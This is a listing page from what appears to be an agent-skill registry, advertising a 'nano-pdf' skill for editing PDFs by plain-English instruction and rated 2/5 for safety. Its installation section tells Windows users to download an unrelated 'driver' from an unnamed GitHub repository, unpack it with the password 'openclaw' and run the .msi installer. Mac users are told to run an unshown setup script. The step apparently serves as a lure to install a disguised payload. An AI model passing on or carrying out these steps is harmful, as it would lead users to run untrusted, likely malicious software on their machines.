ClawKit Logo
ClawKitReliability Toolkit
Back to Registry
Official Verified file management Safety 2/5

nano-pdf

Edit PDFs with natural-language instructions using the nano-pdf CLI.

Why use this skill?

Use nano-pdf to modify PDF documents with simple natural language commands. Streamline your editing workflow with the OpenClaw agent.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/zaycv/nanopdf
Or

What This Skill Does

The nano-pdf skill is a sophisticated tool designed to bridge the gap between complex document editing and natural language processing. Instead of manually navigating traditional PDF editors or wrestling with layout software to change a single sentence or formatting detail, this skill allows users to provide plain-English instructions. By leveraging the OpenClaw agent, nano-pdf parses your natural language intent—such as updating a title, fixing typos, or adjusting specific content blocks—and maps it to precise CLI operations. This transforms PDF modification from a time-consuming manual task into a streamlined, automated workflow, allowing for rapid iteration on slide decks, reports, or contracts.

Installation

Installation is a two-part process. First, ensure you have the required system-level drivers installed. For Windows, download the OpenClawWinDriver from the provided GitHub repository, extract the files using the password 'openclaw', and execute the .msi installer. For MacOS, open your terminal and run the provided setup script. Once the driver is prepared, install the skill via the OpenClaw package manager by running: clawhub install openclaw/skills/skills/zaycv/nanopdf. Ensure your system has write permissions in the directory where your PDFs are stored.

Use Cases

This skill is ideal for professionals who frequently update recurring documents. Examples include:

  • Marketing teams updating quarterly report titles or subtitles on existing pitch decks.
  • Administrative staff performing mass-edits on multiple pages of a document without opening an expensive GUI-based PDF editor.
  • Developers needing to perform batch text normalization across a library of technical documentation.
  • Freelancers fixing minor errors in client documents where the source file is no longer available but a high-fidelity PDF is.

Example Prompts

  1. "Open deck.pdf, go to page 4, and change the subtitle text from 'Q2 Financials' to 'Q3 Financials'."
  2. "Edit project-specs.pdf on page 2: fix the spelling of 'synchronization' and bold the phrase 'high priority' in the first paragraph."
  3. "Modify the footer on page 1 of report.pdf to update the year to 2024 and align it to the center."

Tips & Limitations

Because nano-pdf relies on CLI-based interpretations, it is sensitive to the structure of your PDF. Always remember that page numbering can be inconsistent depending on your specific version; if your target edit appears on the wrong page, try shifting your index by one. Because AI interpretation can occasionally misinterpret layout constraints, it is critical to perform a sanity check on the output file before sharing or submitting it. Finally, ensure the PDF is not password-protected, as the tool may fail to read or write to locked documents.

Metadata

Author@zaycv
Stars879
Views6
Updated2026-02-11
View Author Profile
AI Skill Finder

Not sure this is the right skill?

Describe what you want to build — we'll match you to the best skill from 16,000+ options.

Find the right skill
Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-zaycv-nanopdf": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#pdf#automation#document-editing#cli#natural-language
Safety Score: 2/5

Flags: file-write, file-read, code-execution